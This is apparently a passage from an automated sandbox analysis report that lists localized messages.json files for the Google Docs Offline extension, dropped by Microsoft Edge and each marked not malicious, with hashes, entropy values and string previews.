C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
